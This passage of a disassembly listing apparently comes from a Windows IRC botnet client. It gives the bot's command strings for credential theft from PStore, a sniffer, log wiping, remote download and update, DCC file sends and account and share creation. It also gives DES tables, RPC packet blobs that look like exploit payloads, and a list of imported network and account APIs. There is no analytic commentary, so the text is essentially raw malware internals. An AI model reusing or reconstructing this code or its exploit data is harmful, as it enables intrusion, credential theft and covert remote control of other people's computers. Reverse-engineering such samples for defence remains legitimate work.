sub_403B2C+31F1o dd 5F736569h, 69576F57h, 575F7365h, 6569576Fh, 31322073h dd 30373033h, 33333436h, 1642520h, 2 dup(0) dword_435500 dd 64250302h, 5964252Ch, 2C642503h, 34F6425h, 252C6425h ; DATA XREF: sub_403B2C+31C2o dd 3A05564h, 252C6425h, 25034864h, 64252C64h, 64250341h dd 5664252Ch, 2C642503h, 0A0456425h, 2C642503h, 3426425h dd 252C6425h, 25034564h, 64252C64h, 64250345h, 4E64252Ch dd 642503A0h, 5064252Ch, 2C642503h, 3556425h, 252C6425h dd 3A05464h, 252C6425h, 25034964h, 64252C64h, 2503A04Eh dd 64252C64h, 64250354h, 4864252Ch, 2C642503h, 0A0456425h dd 2C642503h, 63256425h, 2C642503h, 3576425h, 252C6425h dd 2034E64h, 0 dword_4355A8 dd 69257325h, 0 dword_4355B0 dd 434F4E4Bh, 7325204Bh, 73253A20h, 0dword_4355C0 dd 25207325h, 73252073h, 0 ; sub_403B2C+2CA1o dword_4355CC dd 25207325h, 13A2073h, 474E4946h, 15245h ; sub_403B2C+29DFo ... dword_4355DC dd 25207325h, 13A2073h, 53524556h, 14E4F49h, 0 ; sub_403B2C+3776o dword_4355F0 dd 25207325h, 13A2073h, 474E4950h, 1 ; sub_403B2C+28EFo ... dword_435600 dd 25207325h, 13A2073h, 17325h, 0dword_435610 dd 64250302h, 5964252Ch, 2C642503h, 34F6425h, 252C6425h ; DATA XREF: sub_403B2C+27A0o dd 3A05564h, 252C6425h, 25034864h, 64252C64h, 64250341h dd 5664252Ch, 2C642503h, 0A0456425h, 2C642503h, 3426425h dd 252C6425h, 25034564h, 64252C64h, 64250345h, 4E64252Ch dd 642503A0h, 5064252Ch, 2C642503h, 3556425h, 252C6425h dd 3A05464h, 252C6425h, 25034964h, 64252C64h, 2503A04Eh dd 64252C64h, 64250354h, 4864252Ch, 2C642503h, 0A0456425h dd 2C642503h, 63256425h, 2C642503h, 3576425h, 252C6425h dd 73204E64h, 74726174h, 79656B20h, 67676F6Ch, 2037265h dd 0 dword_4356C8 dd 25207325h, 253A2073h, 73h ; sub_403B2C+27C0o ... aSLoadedOntoSDA db '%s Loaded Onto: (%s:%d), Amount: (%d)',0 ; DATA XREF: sub_403B2C+245Ao ; sub_403B2C+248Fo align 4 aSTooMuchConns_ db '%s Too Much conns.',0 ; DATA XREF: sub_403B2C+2409o align 10h aSConnectionClo db '%s Connection closed: (%i/%ikB sent).',0 ; DATA XREF: sub_403B2C+2371o align 4 aSTimedOutClosi db '%s Timed Out, closing connection.',0 ; DATA XREF: sub_403B2C+2270o align 4 aSDDI db '%s %d %d %i',0 ; DATA XREF: sub_403B2C+221Fo aDccSendSS db 'DCC Send %s (%s)',0 ; DATA XREF: sub_403B2C+21E9o align 4 aSendingYouS db 'Sending you %s',0 ; DATA XREF: sub_403B2C+21C9o align 4 aSSocketError db '%s Socket Error',0 ; DATA XREF: sub_403B2C+2185o aSSocketBindErr db '%s Socket Bind Error',0 ; DATA XREF: sub_403B2C+214Fo align 4 aSInvalidSocket db '%s Invalid Socket',0 ; DATA XREF: sub_403B2C+20FAo align 4 aSNoFile db '%s No file',0 ; DATA XREF: sub_403B2C+20CCo align 4 aDrives db 'Drives',0 ; DATA XREF: sub_403B2C+1FB0o ; sub_403B2C+1FD6o align 4 aSDrives db '%s Drives',0 ; DATA XREF: sub_403B2C+1F52o align 4 aGb db 'GB',0 ; DATA XREF: sub_403B2C:loc_405A3Do ; sub_4154DA:loc_415527o ... align 4 aMb db 'MB',0 ; DATA XREF: sub_403B2C+1EFFo ; sub_4154DA+2Co ... align 10h aKb db 'KB',0 ; DATA XREF: sub_403B2C+1EE7o ; sub_4154DA+17o ... align 4 aDrivesList db 'Drives List',0 ; DATA XREF: sub_403B2C+1E0Eo ; sub_403B2C+1E30o aSObtainingExte db '%s Obtaining external IP',0 ; DATA XREF: sub_403B2C+1D26o ; sub_403B2C+1D44o align 4 aSFailedToLoadD db '%s Failed to load dnsapi.dll.',0 ; DATA XREF: sub_403B2C+1CB3o align 4 aSFailedToFlu_0 db '%s Failed to flush DNS cache.',0 ; DATA XREF: sub_403B2C:loc_4057D0o align 4 aSDnsCacheFlush db '%s DNS cache flushed.',0 ; DATA XREF: sub_403B2C+1C9Ao align 4 aSFailedToFlush db '%s Failed to flush ARP.',0 ; DATA XREF: sub_403B2C+1C6Fo aSArpFlushed_ db '%s ARP flushed.',0 ; DATA XREF: sub_403B2C+1C64o aSSentIrcRawS_ db '%s Sent IRC raw: "%s".',0 ; DATA XREF: sub_403B2C+1C12o align 4 aSEftpdEnabledO db '%s EFTPD enabled on port: %i, thread number: %i.',0 ; DATA XREF: sub_403B2C+1AC9o ; sub_403B2C+1AF2o align 4 aEftpd db 'EFTPD',0 ; DATA XREF: sub_403B2C+1A69o ; sub_403B2C+1A8Fo align 10h aSServerStarted db '%s Server started on Port: %i, File: %s.',0 ; DATA XREF: sub_403B2C+19FDo align 10h aSEftpdRunningO db '%s EFTPD running on port: %i, thread number: %i, Total sends: %i.' ; DATA XREF: sub_403B2C+1935o ; sub_403B2C+1961o db 0 align 4 aSCreateProcess db '%s Create process thread.',0 ; DATA XREF: sub_403B2C+1819o align 10h aSProcs db '%s Procs',0 ; DATA XREF: sub_403B2C+1714o align 4 aBkill db 'BKill',0 ; DATA XREF: sub_403B2C+1586o ; sub_403B2C+15ACo align 4 aSBkillStarted db '%s BKill Started',0 ; DATA XREF: sub_403B2C+150Bo align 4 aSBkillThread_ db '%s BKill thread.',0 ; DATA XREF: sub_403B2C+14F2o align 4 aSUptimeS db '%s UPTime: (%s)',0 ; DATA XREF: sub_403B2C+143Bo aSSSS db '%s %s (%s) %s',0 ; DATA XREF: sub_403B2C+13D4o ; sub_403B2C+13FDo align 4 a_BuiltJun10200 db '. Built: Jun 10 2008.',0 ; DATA XREF: sub_403B2C+13B8o ; sub_403B2C+13E1o align 4 aSRunningOnSI db '%s Running on: [%s:%i]',0 ; DATA XREF: sub_403B2C+12A4o ; sub_403B2C+135Bo ... align 4 aSPatcherStarte db '%s Patcher Started',0 ; DATA XREF: sub_403B2C+11EDo align 10h aPatcher db 'Patcher',0 ; DATA XREF: sub_403B2C+11A8o ; sub_403B2C+11CEo aSPatcherThread db '%s Patcher thread.',0 ; DATA XREF: sub_403B2C+1148o align 4 aSPstore db '%s PStore',0 ; DATA XREF: sub_403B2C+E41o align 4 aPstore db 'PStore',0 ; DATA XREF: sub_403B2C+DA0o ; sub_403B2C+EA1o ... align 10h aSStarted_ db '%s started.',0 ; DATA XREF: sub_403B2C+CF5o aSSniffer_ db '%s Sniffer.',0 ; DATA XREF: sub_403B2C+C90o aSniffer_ db 'Sniffer.',0 ; DATA XREF: sub_403B2C+C39o ; sub_403B2C+C5Bo align 4 aSThreadList db '%s Thread list',0 ; DATA XREF: sub_403B2C+B4Do align 4 aThreadList_0 db 'Thread list',0 ; DATA XREF: sub_403B2C+AC1o ; sub_403B2C+BABo ... aSAdvapi_dllNot db '%s Advapi.dll not loaded',0 ; DATA XREF: sub_403B2C+970o ; sub_415DBD+71o align 4 aSFailedToClear db '%s Failed to clear syslogs',0 ; DATA XREF: sub_403B2C+961o align 4 aSClearedDDSysl db '%s Cleared [%d/%d] syslogs',0 ; DATA XREF: sub_403B2C+94Do align 4 aSystem db 'system',0 ; DATA XREF: sub_403B2C+8E6o align 4 aSecurity db 'security',0 ; DATA XREF: sub_403B2C+8DCo ; .text:0043CC8Co align 4 aApplication db 'application',0 ; DATA XREF: sub_403B2C+8D2o asc_435B04: ; DATA XREF: sub_403B2C:loc_404375o ; sub_403B2C+E19o unicode 0, <*>,0 a6 db '$6',0 ; DATA XREF: sub_403B2C+7A7o align 4 a5 db '$5',0 ; DATA XREF: sub_403B2C+793o align 10h a4 db '$4',0 ; DATA XREF: sub_403B2C+77Co align 4 a3 db '$3',0 ; DATA XREF: sub_403B2C+768o align 4 a2 db '$2',0 ; DATA XREF: sub_403B2C+754o align 4 a1 db '$1',0 ; DATA XREF: sub_403B2C+740o align 10h aChan db '$chan',0 ; DATA XREF: sub_403B2C+72Co align 4 aUser_1 db '$user',0 ; DATA XREF: sub_403B2C+716o align 10h aMe_0 db '$me',0 ; DATA XREF: sub_403B2C+6F9o aCS db '%c%s',0 ; DATA XREF: sub_403B2C+6DCo align 4 aSAddedAliasS db '%s Added Alias: %s',0 ; DATA XREF: sub_403B2C+64Fo align 10h aS_0 db ' %s',0 ; DATA XREF: sub_403B2C+606o ; sub_403B2C+1002o ... aS_1 db '%s',0 ; DATA XREF: sub_403B2C+5E2o ; sub_403B2C+FDEo ... align 4 aD_SS db '%d. %s = %s',0 ; DATA XREF: sub_403B2C+559o aSAliasList db '%s [Alias list]',0 ; DATA XREF: sub_403B2C+504o aSServersListed db '%s Servers Listed',0 ; DATA XREF: sub_403B2C+4D3o align 4 aISDSS db '[%i: %s:%d%s,%s]',0 ; DATA XREF: sub_403B2C+4ABo align 4 aSServerList db '%s [Server List]:',0 ; DATA XREF: sub_403B2C+464o align 10h aSCurrentServer db '%s: [Current Server]: [%i:%s:%d%s]',0 ; DATA XREF: sub_403B2C+436o align 4 aSsl db ' (SSL)',0 ; DATA XREF: sub_403B2C+405o ; sub_403B2C+48Do align 4 asc_435BDC db '";',0 ; DATA XREF: sub_403B2C+3B0o align 10h aX2_2x db '\x%2.2X',0 ; DATA XREF: sub_403B2C+322o aSCipherText db '%s (Cipher text): "',0 ; DATA XREF: sub_403B2C+2FDo aSecure db 'Secure',0 ; DATA XREF: sub_403B2C:loc_403D77o ; sub_403B2C+7325o ... align 4 aStopped_ db 'Stopped.',0 ; DATA XREF: sub_403B2C:loc_403D6Bo ; sub_403B2C+423Eo ... align 10h off_435C10 dd offset byte_444D43 ; DATA XREF: sub_403B2C:loc_403D5Fo ; sub_403B2C+3DA0o dword_435C14 dd 3453h ; sub_403B2C+122Eo ... aUpdate db 'Update',0 ; DATA XREF: sub_403B2C+1F4o ; sub_403B2C+3FB7o ... align 10h aDownload db 'Download',0 ; DATA XREF: sub_403B2C+1E0o ; sub_403B2C+3DF5o ... align 4 aDriveList db 'Drive list',0 ; DATA XREF: sub_403B2C+125o align 4 aProcs db 'Procs',0 ; DATA XREF: sub_403B2C+BEo ; sub_403B2C+1663o ... align 10h aSniffer db 'Sniffer',0 ; DATA XREF: sub_403B2C+A8o ; sub_403B2C+D4Bo aThreadList db 'Thread List',0 ; DATA XREF: sub_403B2C+58o align 8 byte_435C58 db 1 ; DATA XREF: sub_40AF5C+25r align 2 dw 2 dd 80004h, 200010h, 800040h dword_435C68 dd 800000h, 400000h, 200000h, 100000h, 80000h, 40000h ; DATA XREF: sub_40AF5C+C6r ; sub_40AF5C+D8r dd 20000h, 10000h, 8000h, 4000h, 2000h, 1000h, 800h, 400h dd 200h, 100h, 80h, 40h, 20h, 10h, 8, 4, 2, 1 byte_435CC8 db 38h ; DATA XREF: sub_40AF5C:loc_40AF6Cr db 30h, 28h, 20h dd 81018h, 21293139h, 1091119h, 222A323Ah, 20A121Ah, 232B333Bh dd 262E363Eh, 60E161Eh, 252D353Dh, 50D151Dh, 242C343Ch dd 40C141Ch, 30B131Bh dword_435D00 dd 6040201h, 0E0C0A08h, 1513110Fh, 1C1B1917h, 170A100Dh ; DATA XREF: sub_40AF5C+6Ar dd 1B020400h, 914050Eh, 30B1216h, 60F0719h, 10C131Ah dword_435D28 dd 241E3328h, 271D362Eh, 2F202C32h, 3726302Bh, 292D3421h ; DATA XREF: sub_40AF5C:loc_40B012r dd 1F1C2331h dword_435D40 dd 1010400h, 0 ; sub_40B1D8+148r dd 10000h, 1010404h, 1010004h, 10404h, 4, 10000h, 400h dd 1010400h, 1010404h, 400h, 1000404h, 1010004h, 1000000h dd 4, 404h, 2 dup(1000400h), 2 dup(10400h), 2 dup(1010000h) dd 1000404h, 10004h, 2 dup(1000004h), 10004h, 0 dd 404h, 10404h, 1000000h, 10000h, 1010404h, 4, 1010000h dd 1010400h, 2 dup(1000000h), 400h, 1010004h, 10000h, 10400h dd 1000004h, 400h, 4, 1000404h, 10404h, 1010404h, 10004h dd 1010000h, 1000404h, 1000004h, 404h, 10404h, 1010400h dd 404h, 2 dup(1000400h), 0 dd 10004h, 10400h, 0 dd 1010004h dword_435E40 dd 80108020h ; sub_40B1D8+189r dd 80008000h, 8000h, 108020h, 100000h, 20h, 80100020h dd 80008020h, 80000020h, 80108020h, 80108000h, 80000000h dd 80008000h, 100000h, 20h, 80100020h, 108000h, 100020h dd 80008020h, 0 dd 80000000h, 8000h, 108020h, 80100000h, 100020h, 80000020h dd 0 dd 108000h, 8020h, 80108000h, 80100000h, 8020h, 0 dd 108020h, 80100020h, 100000h, 80008020h, 80100000h, 80108000h dd 8000h, 80100000h, 80008000h, 20h, 80108020h, 108020h dd 20h, 8000h, 80000000h, 8020h, 80108000h, 100000h, 80000020h dd 100020h, 80008020h, 80000020h, 100020h, 108000h, 0 dd 80008000h, 8020h, 80000000h, 80100020h, 80108020h, 108000h dword_435F40 dd 208h ; sub_40B1D8+152r dd 8020200h, 0 dd 8020008h, 8000200h, 0 dd 20208h, 8000200h, 20008h, 2 dup(8000008h), 20000h, 8020208h dd 20008h, 8020000h, 208h, 8000000h, 8, 8020200h, 200h dd 20200h, 8020000h, 8020008h, 20208h, 8000208h, 20200h dd 20000h, 8000208h, 8, 8020208h, 200h, 8000000h, 8020200h dd 8000000h, 20008h, 208h, 20000h, 8020200h, 8000200h dd 0 dd 200h, 20008h, 8020208h, 8000200h, 8000008h, 200h, 0 dd 8020008h, 8000208h, 20000h, 8000000h, 8020208h, 8, 20208h dd 20200h, 8000008h, 8020000h, 8000208h, 208h, 8020000h dd 20208h, 8, 8020008h, 20200h dword_436040 dd 802001h ; sub_40B1D8+193r dd 2 dup(2081h), 80h, 802080h, 800081h, 800001h, 2001h dd 0 dd 2 dup(802000h), 802081h, 81h, 0 dd 800080h, 800001h, 1, 2000h, 800000h, 802001h, 80h, 800000h dd 2001h, 2080h, 800081h, 1, 2080h, 800080h, 2000h, 802080h dd 802081h, 81h, 800080h, 800001h, 802000h, 802081h, 81h dd 2 dup(0) dd 802000h, 2080h, 800080h, 800081h, 1, 802001h, 2 dup(2081h) dd 80h, 802081h, 81h, 1, 2000h, 800001h, 2001h, 802080h dd 800081h, 2001h, 2080h, 800000h, 802001h, 80h, 800000h dd 2000h, 802080h dword_436140 dd 100h ; sub_40B1D8+164r dd 2080100h, 2080000h, 42000100h, 80000h, 100h, 40000000h dd 2080000h, 40080100h, 80000h, 2000100h, 40080100h, 42000100h dd 42080000h, 80100h, 40000000h, 2000000h, 2 dup(40080000h) dd 0 dd 40000100h, 2 dup(42080100h), 2000100h, 42080000h, 40000100h dd 0 dd 42000000h, 2080100h, 2000000h, 42000000h, 80100h, 80000h dd 42000100h, 100h, 2000000h, 40000000h, 2080000h, 42000100h dd 40080100h, 2000100h, 40000000h, 42080000h, 2080100h dd 40080100h, 100h, 2000000h, 42080000h, 42080100h, 80100h dd 42000000h, 42080100h, 2080000h, 0 dd 40080000h, 42000000h, 80100h, 2000100h, 40000100h, 80000h dd 0 dd 40080000h, 2080100h, 40000100h dword_436240 dd 20000010h ; sub_40B1D8+1A2r dd 20400000h, 4000h, 20404010h, 20400000h, 10h, 20404010h dd 400000h, 20004000h, 404010h, 400000h, 20000010h, 400010h dd 20004000h, 20000000h, 4010h, 0 dd 400010h, 20004010h, 4000h, 404000h, 20004010h, 10h dd 2 dup(20400010h), 0 dd offset loc_40400F+1 dd 20404000h, 4010h, 404000h, 20404000h, 20000000h, 20004000h dd 10h, 20400010h, 404000h, 20404010h, 400000h, 4010h dd 20000010h, 400000h, 20004000h, 20000000h, 4010h, 20000010h dd 20404010h, 404000h, 20400000h, 404010h, 20404000h, 0 dd 20400010h, 10h, 4000h, 20400000h, 404010h, 4000h, 400010h dd 20004010h, 0 dd 20404000h, 20000000h, 400010h, 20004010h dword_436340 dd 200000h ; sub_40B1D8+16Br dd 4200002h, 4000802h, 0 dd 800h, 4000802h, 200802h, 4200800h, 4200802h, 200000h dd 0 dd 4000002h, 2, 4000000h, 4200002h, 802h, 4000800h, 200802h dd 200002h, 4000800h, 4000002h, 4200000h, 4200800h, 200002h dd 4200000h, 800h, 802h, 4200802h, 200800h, 2, 4000000h dd 200800h, 4000000h, 200800h, 200000h, 2 dup(4000802h) dd 2 dup(4200002h), 2, 200002h, 4000000h, 4000800h, 200000h dd 4200800h, 802h, 200802h, 4200800h, 802h, 4000002h, 4200802h dd 4200000h, 200800h, 0 dd 2, 4200802h, 0 dd 200802h, 4200000h, 800h, 4000002h, 4000800h, 800h, 200002h dword_436440 dd 10001040h ; sub_40B1D8+1ACr dd 1000h, 40000h, 10041040h, 10000000h, 10001040h, 40h dd 10000000h, 40040h, 10040000h, 10041040h, 41000h, 10041000h dd 41040h, 1000h, 40h, 10040000h, 10000040h, 10001000h dd 1040h, 41000h, 40040h, 10040040h, 10041000h, 1040h dd 2 dup(0) dd 10040040h, 10000040h, 10001000h, 41040h, 40000h, 41040h dd 40000h, 10041000h, 1000h, 40h, 10040040h, 1000h, 41040h dd 10001000h, 40h, 10000040h, 10040000h, 10040040h, 10000000h dd 40000h, 10001040h, 0 dd 10041040h, 40040h, 10000040h, 10040000h, 10001000h dd 10001040h, 0 dd 10041040h, 2 dup(41000h), 2 dup(1040h), 40040h, 10000000h dd 10041000h dword_436540 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0) dword_436590 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_40B427+E8o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_4368F4 dd 20h, 0 dd 20h, 5C005Ch, 0 off_436908 dd offset dword_43005C ; DATA XREF: sub_40B427+122o dd offset dword_5C0024 a12345611111111: unicode 0, <123456111111111111111.doc>,0 align 8 dword_436948 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 3 dup(0) aRrrrrrrrrrrrrr db '' db '' db '',0 off_436A28 dd offset word_580046 ; DATA XREF: sub_40B427+31o ; sub_40B427+72o dd offset loc_42004D+1 dd offset word_580046 dd offset word_580046 dd offset loc_42004D+1 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 dword_436A5C dd 158h dword_436A60 dd 30B0005h, 10h, 48h, 0 dd 16D016D0h, 0 dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_436AAC dd 3000005h, 10h, 5 dup(0)dword_436AC8 dd 10005h, 2 dup(0) dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch, 5 dup(0) dd 90000h, 300h, 0 dd 300h, 5C005Ch, 0 dword_436B10 dd 0 dd 2, 0 dd 1, 91C68h, 1, 2 dup(0) dd 0C0h, 46000000h, 2 dup(1), 7 ; --------------------------------------------------------------------------- loc_436B44: ; DATA XREF: .text:0040B908o mov eax, [esp-4] add eax, 0FFFFFAE0h jmp eax ; --------------------------------------------------------------------------- align 10h loc_436B50: ; DATA XREF: .text:0040B8B3o mov eax, [ebp+30h] add eax, 0FFFFFB24h jmp eax ; --------------------------------------------------------------------------- align 4 loc_436B5C: ; DATA XREF: .text:0040B957o jmp short loc_436B6E ; --------------------------------------------------------------------------- jmp short loc_436B79 ; --------------------------------------------------------------------------- dd 0 ; --------------------------------------------------------------------------- loc_436B64: ; DATA XREF: .text:0040B9B2o jmp short near ptr word_436B6A ; --------------------------------------------------------------------------- dw 0FFFFh db 2 dup(0FFh) word_436B6A dw 0 ; CODE XREF: .text:loc_436B64j ; --------------------------------------------------------------------------- loc_436B6C: ; DATA XREF: .text:0040B9D3o jmp short near ptr word_436B72 ; --------------------------------------------------------------------------- loc_436B6E: ; CODE XREF: .text:loc_436B5Cj ; .text:loc_436B8Cj jmp short loc_436B74 ; --------------------------------------------------------------------------- db 2 dup(0) word_436B72 dw 0 ; CODE XREF: .text:loc_436B6Cj ; --------------------------------------------------------------------------- loc_436B74: ; CODE XREF: .text:loc_436B6Ej ; DATA XREF: .text:0040B9F7o jmp short near ptr loc_436B79+1 ; --------------------------------------------------------------------------- dw 0FFFFh db 0FFh ; --------------------------------------------------------------------------- loc_436B79: ; CODE XREF: .text:00436B5Ej ; .text:loc_436B74j inc dword ptr [eax] ; --------------------------------------------------------------------------- db 0 off_436B7C dd offset loc_41005C ; DATA XREF: .text:0040BA46o dd 2 dup(0) dword_436B88 dd 77F33723h ; --------------------------------------------------------------------------- loc_436B8C: ; DATA XREF: .text:0040B990o jmp short loc_436B6E ; --------------------------------------------------------------------------- dw 7FFDh dword_436B90 dd 18759Fh dword_436B94 dd 1001C59h dword_436B98 dd 1B0B0Bh dword_436B9C dd 6EBh dword_436BA0 dd 0F4EBh aPathremovefile db 'PathRemoveFileSpecA',0 ; DATA XREF: sub_40BB43+CDAo aShlwapi_dll db 'shlwapi.dll',0 ; DATA XREF: sub_40BB43:loc_40C811o aGetuserprofile db 'GetUserProfileDirectoryA',0 ; DATA XREF: sub_40BB43+CAAo align 10h aUserenv_dll db 'userenv.dll',0 ; DATA XREF: sub_40BB43:loc_40C7E2o aPstorecreatein db 'PStoreCreateInstance',0 ; DATA XREF: sub_40BB43+C7Bo align 4 aPstorec_dll db 'pstorec.dll',0 ; DATA XREF: sub_40BB43:loc_40C7B3o aGetprocessmemo db 'GetProcessMemoryInfo',0 ; DATA XREF: sub_40BB43+C1Fo align 4 aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_40BB43+C12o align 4 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_40BB43+C05o align 4 aGetmodulebasen db 'GetModuleBaseNameA',0 ; DATA XREF: sub_40BB43+BF8o align 10h aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_40BB43+BF0o align 4 aPsapi_dll db 'psapi.dll',0 ; DATA XREF: sub_40BB43:loc_40C726o align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_40BB43+BAEo align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_40BB43+BA6o align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_40BB43:loc_40C6DCo aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40BB43+B54o align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40BB43+B47o align 10h aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_40BB43+B3Ao aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_40BB43+B32o aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_40BB43:loc_40C668o aGetnetworkpara db 'GetNetworkParams',0 ; DATA XREF: sub_40BB43:loc_40C640o align 4 aGetudptable db 'GetUdpTable',0 ; DATA XREF: sub_40BB43+ABDo aGettcptable db 'GetTcpTable',0 ; DATA XREF: sub_40BB43+AB0o aGetiftable db 'GetIfTable',0 ; DATA XREF: sub_40BB43+AA3o align 4 aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40BB43+A96o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_40BB43+A8Eo align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_40BB43:loc_40C5C0o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40BB43+A48o align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40BB43+A40o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_40BB43:loc_40C576o align 10h aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_40BB43+9B6o align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_40BB43+9A9o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_40BB43+99Co aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_40BB43+98Fo align 10h aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_40BB43+982o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_40BB43+975o align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_40BB43+968o align 10h aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40BB43+95Bo align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_40BB43+94Eo align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_40BB43+941o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_40BB43+939o aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_40BB43:loc_40C46Bo align 4 aMozilla5_0Comp db 'Mozilla/5.0 (compatible)',0 ; DATA XREF: sub_40BB43+8FBo align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_40BB43+889o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_40BB43+87Co align 10h aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_40BB43+86Fo align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_40BB43+862o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_40BB43+855o align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_40BB43+848o align 4 aFtpputfilea db 'FtpPutFileA',0 ; DATA XREF: sub_40BB43+83Bo aFtpgetfilea db 'FtpGetFileA',0 ; DATA XREF: sub_40BB43+82Eo aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_40BB43+821o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_40BB43+814o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40BB43+807o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_40BB43+7FFo align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_40BB43:loc_40C331o aShutdown db 'shutdown',0 ; DATA XREF: sub_40BB43+6B1o align 4 aClosesocket db 'closesocket',0 ; DATA XREF: sub_40BB43+6A4o aGetpeername db 'getpeername',0 ; DATA XREF: sub_40BB43+697o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_40BB43+68Ao align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_40BB43+67Do align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_40BB43+670o aGetsockname db 'getsockname',0 ; DATA XREF: sub_40BB43+663o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_40BB43+656o align 4 aAccept db 'accept',0 ; DATA XREF: sub_40BB43+649o align 10h aListen db 'listen',0 ; DATA XREF: sub_40BB43+63Co align 4 aSelect db 'select',0 ; DATA XREF: sub_40BB43+62Fo align 10h aBind db 'bind',0 ; DATA XREF: sub_40BB43+627o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_40BB43+615o align 4 aRecv db 'recv',0 ; DATA XREF: sub_40BB43+608o align 4 aSendto db 'sendto',0 ; DATA XREF: sub_40BB43+5FBo align 4 aSend db 'send',0 ; DATA XREF: sub_40BB43+5EEo align 4 aNtohl db 'ntohl',0 ; DATA XREF: 